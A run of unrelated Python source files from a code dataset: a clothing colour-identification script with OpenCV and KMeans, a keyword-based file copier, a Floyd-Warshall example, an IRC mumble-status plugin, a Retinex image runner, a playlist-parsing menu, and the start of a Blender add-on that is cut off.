lower_gray = np.array([0, 0, 46])\n upper_gray = np.array([180, 43, 220])\n color_list = []\n color_list.append(lower_gray)\n color_list.append(upper_gray)\n self.basis_color_dict['gray'] = color_list\n\n # 白色\n lower_white = np.array([0, 0, 221])\n upper_white = np.array([180, 30, 255])\n color_list = []\n color_list.append(lower_white)\n color_list.append(upper_white)\n self.basis_color_dict['white'] = color_list\n\n # 红色\n lower_red = np.array([156, 43, 46])\n upper_red = np.array([180, 255, 255])\n color_list1 = []\n color_list1.append(lower_red)\n color_list1.append(upper_red)\n\n # 红色2\n lower_red = np.array([0, 43, 46])\n upper_red = np.array([10, 255, 255])\n color_list2 = []\n color_list2.append(lower_red)\n color_list2.append(upper_red)\n self.basis_color_dict['red'] = (color_list1, color_list2)\n\n # 橙色\n lower_orange = np.array([11, 43, 46])\n upper_orange = np.array([25, 255, 255])\n color_list = []\n color_list.append(lower_orange)\n color_list.append(upper_orange)\n self.basis_color_dict['orange'] = color_list\n\n # 黄色\n lower_yellow = np.array([26, 43, 46])\n upper_yellow = np.array([34, 255, 255])\n color_list = []\n color_list.append(lower_yellow)\n color_list.append(upper_yellow)\n self.basis_color_dict['yellow'] = color_list\n\n # 绿色\n lower_green = np.array([35, 43, 46])\n upper_green = np.array([77, 255, 255])\n color_list = []\n color_list.append(lower_green)\n color_list.append(upper_green)\n self.basis_color_dict['green'] = color_list\n\n # 青色\n lower_cyan = np.array([78, 43, 46])\n upper_cyan = np.array([99, 255, 255])\n color_list = []\n color_list.append(lower_cyan)\n color_list.append(upper_cyan)\n self.basis_color_dict['cyan'] = color_list\n\n # 蓝色\n lower_blue = np.array([100, 43, 46])\n upper_blue = np.array([124, 255, 255])\n color_list = []\n color_list.append(lower_blue)\n color_list.append(upper_blue)\n self.basis_color_dict['blue'] = color_list\n\n # 紫色\n lower_purple = np.array([125, 43, 46])\n upper_purple = np.array([155, 255, 255])\n color_list = []\n color_list.append(lower_purple)\n color_list.append(upper_purple)\n self.basis_color_dict['purple'] = color_list\n\n def get_color_type(self, frame):\n \"\"\"\n 获取颜色类型\n :param frame:\n :return: ColorType\n \"\"\"\n texture = cv2.Canny(frame, 100, 200) # 边缘检测\n texture_len = np.sum(texture == 255) # 边缘长度\n # print(texture_len)\n if texture_len < 2500:\n return ColorType.PURE # 返回纯色类型\n elif texture_len < 4000:\n return ColorType.JOINT # 返回拼接类型\n return ColorType.TEXTURE # 返回花纹类型\n\n def get_n_color(self, frame):\n \"\"\"\n 获取基础颜色种数\n :param frame:\n :return: 基础颜色种数颜色 (int)\n \"\"\"\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n color_dict = self.basis_color_dict\n count = 0\n for d in color_dict:\n if isinstance(color_dict[d], list):\n mask = cv2.inRange(hsv, color_dict[d][0], color_dict[d][1])\n elif isinstance(color_dict[d], tuple):\n mask1 = cv2.inRange(hsv, color_dict[d][0][0], color_dict[d][0][1])\n mask2 = cv2.inRange(hsv, color_dict[d][1][0], color_dict[d][1][1])\n mask = mask1 + mask2\n pro = np.sum(mask == 255) / mask.size\n # cv2.imshow(d, mask)\n # print(d, pro)\n if pro > 0.9 / len(color_dict.keys()):\n count += 1\n # cv2.waitKey(0)\n return count\n\n def get_dominant_color2(self, frame, color_type, color_num):\n def flatten(a):\n for each in a:\n if not isinstance(each, list):\n yield each\n else:\n yield from flatten(each)\n\n def takeSecond(elem):\n return elem[1]\n\n image = Image.fromarray(frame.astype('uint8')).convert('RGB')\n height = 128\n width = int(image.height * height / image.width)\n train_image = image.resize((width, height), Image.ANTIALIAS)\n dataset = [[(r, g, b)] * count for count, (r, g, b) in\n train_image.getcolors(train_image.size[0] * train_image.size[1]) if\n (min(abs(r * 2104 + g * 4130 + b * 802 + 4096 + 131072) >> 13, 235) - 16.0) / (235 - 16) < 0.9]\n dataset = list(flatten(dataset))\n # y_pred1 = DBSCAN().fit_predict(dataset)\n estimator = KMeans(n_clusters=color_num, random_state=9)\n try:\n estimator.fit(dataset)\n except Exception as e:\n pass\n # print(e)\n center = estimator.cluster_centers_.tolist()\n score = [np.sum(estimator.labels_ == i) for i in range(color_num)]\n dominant_colors = [[c, s] for c, s in zip(center, score)]\n dominant_colors.sort(key=takeSecond, reverse=True)\n return dominant_colors\n\n def get_dominant_color1(self, frame, color_type, color_num):\n \"\"\"\n 获取颜色主成分\n :param frame:\n :return:\n \"\"\"\n\n def takeSecond(elem):\n return elem[1]\n\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n image = Image.fromarray(frame.astype('uint8')).convert('RGB')\n dominant_colors = []\n for count, (r, g, b) in image.getcolors(image.size[0] * image.size[1]):\n # 转为HSV标准\n hue, saturation, value = colorsys.rgb_to_hsv(r / 255.0, g / 255.0, b / 255.0)\n y = min(abs(r * 2104 + g * 4130 + b * 802 + 4096 + 131072) >> 13, 235)\n y = (y - 16.0) / (235 - 16)\n # 忽略高亮色\n if y > 0.9 or (r<2 and g>253 and b<2):\n continue\n score = (saturation + 0.1) * count\n dominant_colors.append([[r, g, b], score])\n dominant_colors.sort(key=takeSecond, reverse=True)\n if len(dominant_colors) == 0:\n dominant_colors = [[[frame[..., 0].mean(), frame[..., 1].mean(), frame[..., 2].mean()], 1]]\n return dominant_colors\n\n def get_color_names(self, dominant_colors):\n def color_distance_lab(rgb_1, rgb_2):\n \"\"\"\n LAB颜色空间 颜色距离\n :param rgb_1:\n :param rgb_2:\n :return:\n \"\"\"\n R_1, G_1, B_1 = rgb_1\n R_2, G_2, B_2 = rgb_2\n rmean = (R_1 + R_2) / 2\n R = R_1 - R_2\n G = G_1 - G_2\n B = B_1 - B_2\n return math.sqrt((2 + rmean / 256) * (R ** 2) + 4 * (G ** 2) + (2 + (255 - rmean) / 256) * (B ** 2))\n\n def colour_distance_rgb(rgb_1, rgb_2):\n v1 = (np.array(rgb_1) - 128) / 255\n v2 = (np.array(rgb_2) - 128) / 255\n num = float(v1.dot(v2.T))\n denom = np.linalg.norm(v1) * np.linalg.norm(v2)\n cos = num / (denom + 0.000001) # 余弦值\n sim = 0.5 + 0.5 * cos # 根据皮尔逊相关系数归一化\n return sim\n\n def colour_distance_rgb2(rgb_1, rgb_2):\n v1 = np.array(rgb_1)\n v2 = np.array(rgb_2)\n a = (v1 - v2) / 256\n sim = np.sqrt(np.mean(np.square(a)))\n return 1 - sim\n\n def colour_distance_rgb3(rgb_1, rgb_2):\n v1 = np.array(rgb_1) / 255\n v2 = np.array(rgb_2) / 255\n num = float(v1.dot(v2.T))\n denom = np.linalg.norm(v1) * np.linalg.norm(v2)\n cos = num / (denom + 0.000001) # 余弦值\n sim = cos # 根据皮尔逊相关系数归一化\n return sim\n\n def colour_distance_rgb4(rgb_1, rgb_2):\n hsv_1 = colorsys.rgb_to_hsv(rgb_1[0] / 255.0, rgb_1[1] / 255.0, rgb_1[2] / 255.0)\n hsv_2 = colorsys.rgb_to_hsv(rgb_2[0] / 255.0, rgb_2[1] / 255.0, rgb_2[2] / 255.0)\n v1 = np.array(hsv_1)\n v2 = np.array(hsv_2)\n sim = 1 - abs(v1[0] - v2[0])\n return sim\n\n def color_distance_lab2(rgb_1, rgb_2):\n from colormath.color_objects import LabColor\n from colormath.color_diff import delta_e_cie1976\n lab1 = RGB2Lab(rgb_1[::-1])\n lab2 = RGB2Lab(rgb_2[::-1])\n\n color1 = LabColor(lab_l=lab1[0], lab_a=lab1[1], lab_b=lab1[2])\n color2 = LabColor(lab_l=lab2[0], lab_a=lab2[1], lab_b=lab2[2])\n delta_e = delta_e_cie2000(color1, color2)\n # print(delta_e)\n return 200 - delta_e\n\n def HSVDistance(rgb_1, rgb_2):\n hsv_1 = colorsys.rgb_to_hsv(rgb_1[0] / 255.0, rgb_1[1] / 255.0, rgb_1[2] / 255.0)\n hsv_2 = colorsys.rgb_to_hsv(rgb_2[0] / 255.0, rgb_2[1] / 255.0, rgb_2[2] / 255.0)\n H_1, S_1, V_1 = hsv_1\n H_2, S_2, V_2 = hsv_2\n R = 100\n angle = 30\n h = R * math.cos(angle / 180 * math.pi)\n r = R * math.sin(angle / 180 * math.pi)\n x1 = r * V_1 * S_1 * math.cos(H_1 / 180 * math.pi)\n y1 = r * V_1 * S_1 * math.sin(H_1 / 180 * math.pi)\n z1 = h * (1 - V_1)\n x2 = r * V_2 * S_1 * math.cos(H_2 / 180 * math.pi)\n y2 = r * V_2 * S_1 * math.sin(H_2 / 180 * math.pi)\n z2 = h * (1 - V_2)\n dx = x1 - x2\n dy = y1 - y2\n dz = z1 - z2\n return math.sqrt(dx * dx + dy * dy + dz * dz)\n\n dominant_colors_names = []\n for rgb, score in dominant_colors:\n res_rgb = [0, 0, 0]\n similar_color = \"\"\n temp = -1\n for color_name, (r, g, b) in self.costume_color_dict.items():\n # sim0 = colour_distance_rgb2(rgb, [r, g, b])\n # sim1 = colour_distance_rgb(rgb, [r, g, b])\n sim = color_distance_lab2(rgb, [r, g, b])\n # sim3 = color_distance_lab(rgb, [r, g, b])\n # sim4 = colour_distance_rgb3(rgb, [r, g, b])\n # sim5 = colour_distance_rgb4(rgb, [r, g, b])\n # sim6 = HSVDistance(rgb, [r, g, b])\n # if color_name == \"柠檬黄\" or color_name == \"黑色\":\n # print(color_name, rgb, [r, g, b])\n # print(sim0)\n # print(sim1)\n # print(sim2)\n # print(sim3)\n # print(sim4)\n # print(sim)\n # print(sim6)\n if sim > temp:\n temp = sim\n res_rgb = [r, g, b]\n similar_color = color_name\n dominant_colors_names.append([similar_color, res_rgb, 200-temp])\n return dominant_colors_names\n\n def predict(self, frame, label_color_name=None):\n \"\"\"\n 三通道 RGB图片\n :param frame:\n :return:\n \"\"\"\n frame = copy.deepcopy(frame)\n height = 256\n width = int(frame.shape[1] * height / frame.shape[0])\n img = cv2.resize(frame, (width, height))\n temp_color_type = self.get_color_type(img)\n color_num = self.get_n_color(img)\n img2 = self.get_dominant_image(img, color_num)\n\n dominant_colors1 = self.get_dominant_color1(img2, temp_color_type, color_num) # bgr\n # dominant_colors2 = self.get_dominant_color2(img2, temp_color_type, color_num)\n\n color_names = self.get_color_names(dominant_colors1[:1])\n unusual_color = dominant_colors1[0][0]\n unusual_pro_color = color_names[0][1]\n unusual_score = color_names[0][2]\n if unusual_score>5:\n self.unusual_colors.append([unusual_score, unusual_color, unusual_pro_color, color_names[0][0]])\n if not label_color_name is None:\n self.drow(frame, label_color_name, [color_names[0][0]], dominant_colors1[0][0])\n return [color_names[0][0]]\n\n def drow(self, frame, label_name, pro_names, color):\n w, h = 70, 70\n try:\n cv2.rectangle(frame, (0, 0), (w, h), self.costume_color_dict[label_name][::-1], -1)\n except Exception as e:\n pass\n # print(\"error\", e)\n image2 = self.cv2ImgAddText(frame, f\"标注为{label_name}\", 10, 80, textSize=14)\n\n for i in range(len(pro_names)):\n cv2.rectangle(image2, ((i + 1) * w + (i + 1) * 10, 0), ((i + 2) * w + (i + 1) * 10, h),\n self.costume_color_dict[pro_names[i]][::-1], -1)\n i = 1\n cv2.rectangle(image2, ((i + 1) * w + (i + 1) * 10, 0), ((i + 2) * w + (i + 1) * 10, h),\n color[::-1], -1)\n image2 = self.cv2ImgAddText(image2, f\"检测为{' '.join(pro_names)}\", 90, 80, textSize=14)\n path = os.path.join(f\"image7\", pro_names[0])\n if not os.path.isdir(path):\n os.mkdir(path)\n file_path = f\"{path}/{label_name}_{'_'.join(pro_names)}_{np.random.random()}.jpg\".encode('utf-8').decode(\n 'utf-8')\n # cv2.imwrite(file_path, image2)\n cv2.imencode('.jpg', image2)[1].tofile(file_path)\n\n def cv2ImgAddText(self, img, text, left, top, textColor=(255, 0, 0), textSize=20):\n if (isinstance(img, np.ndarray)): # 判断是否OpenCV图片类型\n img = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\n # 创建一个可以在给定图像上绘图的对象\n draw = ImageDraw.Draw(img)\n # 字体的格式\n fontStyle = ImageFont.truetype(\n \"font/simsun.ttc\", textSize, encoding=\"utf-8\")\n # 绘制文本\n draw.text((left, top), text, textColor, font=fontStyle)\n # 转换回OpenCV格式\n return cv2.cvtColor(np.asarray(img), cv2.COLOR_RGB2BGR)\n\n def grabCut(self, img):\n h, w, c = img.shape\n mask = np.zeros(img.shape[:2], np.uint8)\n bgdModel = np.zeros((1, 65), np.float64)\n fgdModel = np.zeros((1, 65), np.float64)\n border_x = 0.08\n border_y = 0.05\n rect = (int(w * border_x), int(h * border_y), int(w * (1 - border_x * 2)), int(h * (1 - border_y * 2)))\n cv2.grabCut(img, mask, rect, bgdModel, fgdModel, 2, cv2.GC_INIT_WITH_RECT)\n mask2 = np.where((mask == 2) | (mask == 0), 0, 1).astype('uint8')\n img = img * mask2[:, :, np.newaxis]\n bg = [0, 255, 0] * (1 - cv2.cvtColor(mask2, cv2.COLOR_GRAY2BGR))\n bg = bg.astype(np.uint8)\n img += bg\n return img\n\n def get_dominant_image(self, frame, n_colors):\n def recreate_image(codebook, labels, w, h):\n \"\"\"从代码簿和标签中重新创建(压缩)图像\"\"\"\n d = codebook.shape[1]\n image = np.zeros((w, h, d))\n label_idx = 0\n for i in range(w):\n for j in range(h):\n image[i][j] = codebook[labels[label_idx]]\n label_idx += 1\n return image\n\n n_colors+=2\n w, h, c = tuple(frame.shape)\n img = self.grabCut(frame)\n image_array = np.reshape(img, (w * h, c))\n kmeans = KMeans(n_clusters=n_colors, random_state=0).fit(image_array)\n labels = kmeans.predict(image_array)\n image = recreate_image(kmeans.cluster_centers_, labels, w, h).astype(np.uint8)\n # print(f\"n_colors: {n_colors}\")\n # cv2.imshow(\"\", np.hstack((frame, img, image)))\n # cv2.waitKey(0)\n\n return image\n\n\nif __name__ == '__main__':\n ci = ColorIdentify()\n root = \"test\"\n color_list = os.listdir(root)\n count = 0\n ok = 0\n for a, color in enumerate(color_list):\n # color = \"拼色\"\n if \"拼色\" in color or \"花色\" in color:\n continue\n file_names = os.listdir(os.path.join(root, color))\n for b, file_name in enumerate(file_names):\n print(f\"\\r {a}/{len(color_list)} {b}/{len(file_names)}\", end=\"\")\n file_path = os.path.join(root, color, file_name)\n # file_path = \"服饰\\黄色\\黄色 (2).jpg\"\n # color = \"黄色\"\n file_path = file_path.encode('utf-8').decode('utf-8')\n china = cv2.imdecode(np.fromfile(file_path, dtype=np.uint8), -1)\n if china is None:\n tmp = imageio.mimread(file_path)\n if tmp is not None:\n imt = np.array(tmp)\n imt = imt[0]\n china = imt[:, :, 0:3]\n if china.shape[2]==4 and china.dtype == np.uint16:\n china = cv2.cvtColor(china, cv2.COLOR_RGBA2BGR).astype(np.uint8)\n # color_name = re.sub(\"[\\(\\)() 0-9]*\", \"\", color)\n color_name = re.sub(\"[\\(\\)() 0-9jpg.]*\", \"\", file_name)\n if china.shape[2] == 4:\n china = china[..., :3]\n # print(color_name, file_path)\n c = ci.predict(china, color_name)\n # path = os.path.join(f\"image7\", c[0])\n # if not os.path.isdir(path):\n # os.mkdir(path)\n # cv2.imwrite(os.path.join(path, f\"{color_name}_{np.random.randint(1000, 9999)}.jpg\"), china)\n # cv2.imencode('.jpg', china)[1].tofile(\n # os.path.join(path, f\"{c[0]}_{color_name}_{np.random.randint(1000, 9999)}.jpg\"))\n if color_name == c[0]:\n ok += 1\n count += 1\n # print(f\"{ok}/{count}\")\n\n\n def style_apply(series, colors, back_ground=''):\n series_name = series.name[0]\n a = []\n if series_name == \"detection_color\":\n for color, _ in colors:\n strs = \"#\"\n for v in color:\n num = int(v)\n strs += str(hex(num))[-2:].replace('x', '0').upper()\n a.append(f'background-color: {strs}')\n elif series_name == \"predict_color\":\n for _, color in colors:\n strs = \"#\"\n for v in color:\n num = int(v)\n strs += str(hex(num))[-2:].replace('x', '0').upper()\n a.append(f'background-color: {strs}')\n else:\n a = [\"\" for i in range(len(colors))]\n return a\n if len(ci.unusual_colors)>0:\n colors = np.array(ci.unusual_colors)[:, 1:3].tolist()\n datas = np.array([[\"\", \",\".join([str(v) for v in rgb]), \"\", pro_color_name, round(score, 1)] for score, rgb, pro_rgb, pro_color_name in ci.unusual_colors])\n columns = [['detection_color', 'rgb', \"predict_color\", \"predict_color_name\", 'score']]\n df = pd.DataFrame(datas, columns=columns)\n style_df = df.style.apply(style_apply, colors=colors)\n with pd.ExcelWriter('unusual_colors.xlsx', engine='openpyxl') as writer: # 注意: 二级标题的to_excel index 不能为False\n style_df.to_excel(writer, sheet_name='sheet_name')\n\n","sub_path":"color_identify2-1.py","file_name":"color_identify2-1.py","file_ext":"py","file_size_in_byte":21638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"508725993","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 30 10:33:28 2019\n\n@author: Yihang Zhou\n\"\"\"\n\"\"\"\n####========Readme========####\n本脚本根据关键字从目标文件夹中找到文件,复制到当作路径下的filtered_files文件里。关键字是并集\n的关系,比如关键字为 apple和pear,那名字中包含apple或者pear的文件都会被复制。在filtered_files\n中的重命文件会被overwritten\n\n使用示例:\npython check_filename.py ~/NaoJiYe/ ~/NaoJiYe/scRNA_data_all ~/NaoJiYe/keyword.csv 20181008_CSF_1\n\n参数说明:\n第一个参数为工作路径\n第二个参数为你想要遍历寻找的目标文件夹\n第三个参数为keyword.csv所在的全路径\n第四个参数为用来装输出文件的文件夹名\n\nkeyword.csv:\n表头输入name\n在name这一列下面输入你的关键字,一个关键字占一行\n\"\"\"\nimport os,sys\nimport pandas as pd\nimport shutil\n\ndatapath=sys.argv[1]\nos.chdir(datapath)\ndatapath=datapath.strip().rstrip(\"\\\\\") ## 去除首位空格和尾部 \\ 符号\nfiltered_files=str(datapath+'/'+sys.argv[4])\nif not os.path.exists(filtered_files):\n print(datapath,\" does not exist, mkdir now.\")\n os.makedirs(filtered_files)\nfile_path=sys.argv[2] #目标搜索的文件路径\nfilename_path=sys.argv[3] #关键字csv所在位置\n\nfile_name=pd.read_csv(filename_path) #读取所需文件列表\nfile_name['count']=0 #定义新的一列count,用于计数\nfile_name_rows=file_name.shape[0] #表格的行数\nfor root,dirs,files in os.walk(file_path):\n for name in files:\n olddir=os.path.join(root,name) #每一个文件路径 \n for i in range(file_name_rows):\n if str(file_name['name'][i]) in name: #寻找对应的文件名\n print(\"olddir: \",olddir)\n newdir=os.path.join(filtered_files,name)\n print(\"newdir: \",newdir)\n shutil.copy(olddir,newdir) #复制到新文件夹中\n #shutil.copy2(olddir,newdir) #升级版,能把文件最后访问时间与修改时间也复制过来\n file_name['count'][i]=file_name['count'][i]+1 #计数\n print(\"This file has been copied: \",name) #打印出文件名\n else:\n continue\n\nfile_name.to_csv('file_name_count.csv') #保存新的文件列表\n","sub_path":"copy_files_based_on_keywords/copy_files_based_on_keywords.py","file_name":"copy_files_based_on_keywords.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"151144724","text":"\"\"\"\r\n플로이드 워셜 알고리즘 소스코드\r\n- 모든 지점에서 다른 모든 지점까지의 최단 경로를 모두 구해야 하는 경우 사용\r\n- 다이나믹 프로그래밍의 특성을 갖는다.\r\n- 시간 복잡도 : O(N^3) // N : 노드의 수\r\n- 특정 k단계에 대한 점화식은 다음과 같다.\r\n D[ab] = min(D[ab], D[ak] + D[kb])\r\n\"\"\"\r\n\r\nINF = int(1e9)\r\n\r\n# 노드의 개수 및 간선의 개수 입력\r\nn = int(input())\r\nm = int(input())\r\n\r\n# 2차원 리스트로 그래프를 표현하고 모든 값을 무한으로 초기화\r\ngraph = [[INF] * (n + 1) for _ in range(n + 1)]\r\n\r\n# 자기 자신에서 자기 자신으로 가는 비용은 0으로 초기화\r\nfor a in range(1, n + 1):\r\n for b in range(1, n + 1):\r\n if a == b:\r\n graph[a][b] = 0\r\n\r\n# 각 간선에 대한 정보를 입력하여 그래프를 초기화\r\nfor _ in range(m):\r\n # A에서 B로 가는 비용은 C\r\n a, b, c = map(int, input().split())\r\n graph[a][b] = c\r\n\r\n# 점화식에 따른 플로이드 워셜 알고리즘 수행\r\nfor k in range(1, n + 1):\r\n for a in range(1, n + 1):\r\n for b in range(1, n + 1):\r\n graph[a][b] = min(graph[a][b], graph[a][k] + graph[k][b])\r\n\r\n# 수행된 결과를 출력\r\nfor a in range(1, n + 1):\r\n for b in range(1, n + 1):\r\n # 도달할 수 없는 경우 \"INFINITY\" 출력\r\n if graph[a][b] == INF:\r\n print(\"INFINITY\", end=\" \")\r\n # 도달할 수 있는 경우 거리 출력\r\n else:\r\n print(graph[a][b], end=\" \")\r\n print()","sub_path":"algorithms_note/13_floyd-warshall.py","file_name":"13_floyd-warshall.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"306154537","text":"from util import hook, http\n\nimport re\n\n@hook.command(autohelp=False)\ndef mumble(inp):\n\t\".mumble / -- shows user list \"\n\n\tuserlist = re.match(r\"^list$\", inp)\n\tpastebin = re.match(r\"^info$\", inp)\n\n# bad arg or need help\n\t\n\tif inp and userlist is None and pastebin is None:\n\t\treturn mumble.__doc__\n\telif pastebin:\n\t\treturn \"Mumble Info => http://pastebin.com/raw.php?i=vCTURaXQ\"\n\telse:\n\t\trequest_url = \"http://mumble.valoryn.net:8081/stats\"\n\t\tresponse = http.get_json(request_url)\n\n\t\tif response[\"serverInfo\"] is None:\n\t\t\treturn \"mumble server API problem (scream obscenities at Mido until he cries and/or fixes)\"\n\n\t\tif response[\"serverInfo\"][\"isRunning\"] is False:\n\t\t\treturn \"mumble server is offline\"\n\n\t\t# we want mumble user amount and info\n\t\tif not inp: \n\t\t\treturn \"Mumble Status: \" + str(response[\"serverInfo\"][\"userCount\"]) + \" people online.\"\n\n\t\t# we want list of usernames online\n\t\tif userlist: \n\t\t\treturn \"Who's on Mumble: \" + \" \".join(response[\"serverInfo\"][\"userList\"])","sub_path":"plugins/mumble.py","file_name":"mumble.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"405598789","text":"import sys\r\nimport os\r\n\r\nimport cv2\r\nimport json\r\n\r\nimport retinex\r\n\r\nwith open('config.json', 'r') as f:\r\n config = json.load(f)\r\n\r\n img = cv2.imread(\"D:/3.png\")\r\n\r\n print('msrcr processing......')\r\n img_msrcr = retinex.MSRCR(\r\n img,\r\n config['sigma_list'],\r\n config['G'],\r\n config['b'],\r\n config['alpha'],\r\n config['beta'],\r\n config['low_clip'],\r\n config['high_clip']\r\n )\r\n cv2.imshow('MSRCR retinex', img_msrcr)\r\n\r\n print('amsrcr processing......')\r\n img_amsrcr = retinex.automatedMSRCR(\r\n img,\r\n config['sigma_list']\r\n )\r\n cv2.imshow('autoMSRCR retinex', img_amsrcr)\r\n print('msrcp processing......')\r\n img_msrcp = retinex.MSRCP(\r\n img,\r\n config['sigma_list'],\r\n config['low_clip'],\r\n config['high_clip']\r\n )\r\n\r\n shape = img.shape\r\n cv2.imshow('Image', img)\r\n\r\n cv2.imshow('MSRCP', img_msrcp)\r\n cv2.imwrite('D:/autoMSRCP.png', img_amsrcr)\r\n cv2.imwrite('D:/MSRCPreti.png', img_msrcr)\r\n cv2.imwrite('D:/MSRCP.png', img_msrcp)\r\n cv2.waitKey()","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"539258197","text":"from listas_reproduccion import *\nimport os\nimport subprocess\nimport time\n\nrun = True\n\n# Main loop\ndirectorio_csvs()\ndirectorio_repor()\nwhile run:\n subprocess.run('clear' ,shell=True)\n print(header)\n print(instrucciones)\n ans1 = input(pregunta)\n ans1 = ans1.strip()\n ans1 = ans1.replace('\\ ', ' ')\n if ans1 == 'quit()' or ans1 == 'Quit()' or ans1 == 'QUIT()':\n run = False\n subprocess.run('clear' ,shell=True)\n else:\n try:\n os.chdir(ans1)\n except:\n print('\\nSu entrada no es válida')\n time.sleep(1)\n continue\n print('\\nBuscando listas de reproducción en')\n print(ans1)\n time.sleep(2)\n subprocess.run('clear' ,shell=True)\n print(cabecera_documentos)\n i1 = 0\n lista_docs = []\n for f in os.listdir():\n file_name, file_ext = os.path.splitext(f)\n if file_ext == '.xml':\n doc = Documento(f)\n doc.probability_playlist()\n if doc.posible_playlist:\n print(f' {i1+1})', end=' ')\n press(f, bt_color='green')\n else:\n print(f' {i1+1})', end=' ')\n press(f, bt_color='red')\n lista_docs.append(f)\n i1 += 1\n print(mensaje_documentos)\n print(\"Seleccione por indice el documento que desea parsear\")\n try:\n ans2 = int(input(pregunta))\n musica_principal = Documento(lista_docs[ans2-1])\n musica_principal.nombre_playlist()\n except:\n print(\"Parece que hubo un error, reinicie proceso\")\n time.sleep(1)\n continue\n print('\\nRevisando el documento:', end=' ')\n print(lista_docs[ans2-1])\n time.sleep(2)\n subprocess.run('clear', shell=True)\n try:\n barra_carga(musica_principal)\n musica_principal.make_report()\n except:\n subprocess.run('clear', shell=True)\n print('Hubo un error')\n time.sleep(1)\n continue\n correcto1 = False\n while not correcto1:\n print('\\n¿Desea elevorar una gráfica? [y/n]')\n ans3 = input(pregunta)\n ans3 = ans3.lower().strip()\n if ans3 == 'y':\n try:\n print('Selecione la cantidad de columnas')\n ans4 = int(input(pregunta))\n print('(Cierre la imagen para que el programa pueda continuar)')\n musica_principal.make_histogram(ans4)\n correcto1 = True\n except Exception as e:\n print(e)\n time.sleep(5)\n pass\n elif ans3 == 'n':\n correcto1 = True\n subprocess.run('clear', shell=True)\n musica_principal.make_report()\n correcto2 = False\n while not correcto2:\n print('\\n¿Desea guardar el reporte? [y/n]')\n ans5 = input(pregunta)\n ans5 = ans5.lower().strip()\n if ans5 == 'y':\n print('Desea imprimir en:')\n print(' 1) LaTeX\\n 2) Markdown\\n 3) Pdf')\n print('Seleccione el indice')\n try:\n ans6 = int(input(pregunta))\n if ans6 == 1:\n musica_principal.report = 'LaTeX'\n elif ans6 == 2:\n musica_principal.report = 'Markdown'\n elif ans6 == 3:\n musica_principal.report = 'Pdf'\n else:\n pass\n correcto2 = True\n except:\n pass\n elif ans5 == 'n':\n correcto2 = True\n musica_principal.save_report()\n subprocess.run('clear', shell=True)\n musica_principal.make_report()\n print('\\nSe creará un reporte en CSV de la lista de reproducción')\n musica_principal.write_csv()\n loquesea = input('\\nPresione (Enter) para continuar')\n musica_principal.restart()\n\n#","sub_path":"main_terminal.py","file_name":"main_terminal.py","file_ext":"py","file_size_in_byte":4199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"26548186","text":"# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\n# Select the lowpoly and highpoly objects, and press the Create Baking Namepair button in the Relations tab. The suffixes _high and _low are added automatically based on the vertex count. The name of the low poly object is used as the new name's base.\n\nbl_info = {\n'name': \"Baking Namepair Creator\",\n'author': \"Paweł Łyczkowski\",\n'version': (1, 0, 2),\n'blender': (2, 7, 4),\n'api': 41270,\n'location': \"View3D > Toolbar > Relations Tab\",\n'warning': \"\",\n'description': \"Set's up a baking namepair.\",\n'wiki_url': \"\",\n'tracker_url': \"\",\n'category': 'Object'}\n\nimport bpy,bmesh\nimport string\nimport random\n\nbpy.types.Scene.r_generate_random_name = bpy.props.BoolProperty(default= False)\nbpy.types.Scene.r_hide_after_renaming = bpy.props.BoolProperty(default= False)\nbpy.types.Scene.r_also_rename_datablock = bpy.props.BoolProperty(default= True)\n\nclass BakingNamepair(bpy.types.Operator):\n\t'''Tooltip'''\n\tbl_description = \"BakingNamepair\"\n\tbl_idname = \"object.baking_namepair\"\n\tbl_label = \"BakingNamepair\"\n\n\t@classmethod\n\tdef poll(cls, context):\n\t\treturn True\n\n\tdef execute(self, context):\n\t\t\n\t\tselected = bpy.context.selected_objects\n\t\tscene = bpy.context.scene\n\n\t\thigh_poly = None\n\t\tlow_poly = None\n\n\t\tdef id_generator(size=6, chars=string.ascii_uppercase + string.digits):\n\t\t\treturn ''.join(random.choice(chars) for _ in range(size))\n\n\t\tif len(selected) == 2:\n\n\t\t\ttempmesh1 = bmesh.new()\n\t\t\ttempmesh1.from_object(selected[0], scene, deform=True, render=False, cage=False, face_normals=True)\n\t\t\tvertex_count1 = len(tempmesh1.verts)\n\n\t\t\ttempmesh2 = bmesh.new()\n\t\t\ttempmesh2.from_object(selected[1], scene, deform=True, render=False, cage=False, face_normals=True)\n\t\t\tvertex_count2 = len(tempmesh2.verts)\n\n\t\t\tif vertex_count1 != vertex_count2:\n\n\t\t\t\t#The meshes are not the same, set up which is which.\n\n\t\t\t\tif vertex_count1 > vertex_count2:\n\n\t\t\t\t\thigh_poly = selected[0]\n\t\t\t\t\tlow_poly= selected[1]\n\n\t\t\t\telse:\n\n\t\t\t\t\thigh_poly = selected[1]\n\t\t\t\t\tlow_poly= selected[0]\n\n\t\t\t\t#Set up a random name, if option toggled.\n\n\t\t\t\tif 